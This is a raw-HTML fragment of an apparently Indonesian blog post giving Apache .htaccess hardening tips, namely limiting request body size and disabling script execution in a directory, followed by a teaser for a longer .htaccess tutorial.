class="tr_bq"><code>LimitRequestBody 10240000</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">12. Mengamankan Direktori Dari Pengeksekusian Script Atau File</span></span><br /><blockquote class="tr_bq"><code>AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi</code><br /><code>Options -ExecCGI</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote>hmmh... segitu dulu deh,, <img alt="Capek" border="0" src="http://hacker-newbie.org/images/kucink/capek.gif" style="vertical-align: middle;" title="Capek" /> moga bermanfaat yah <img alt="Bigsmile" border="0" src="http://hacker-newbie.org/images/kucink/bigsmile.gif" style="vertical-align: middle;" title="Bigsmile" /> <br /><br /><br /><br /><br /><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></div>

Tutorial penggunaan .htaccess

File .htaccess adalah file teks ASCII sederhana yang terletak di direktori www atau di sebuah sub direktori folder www. Anda bisa membuat at...

Read more »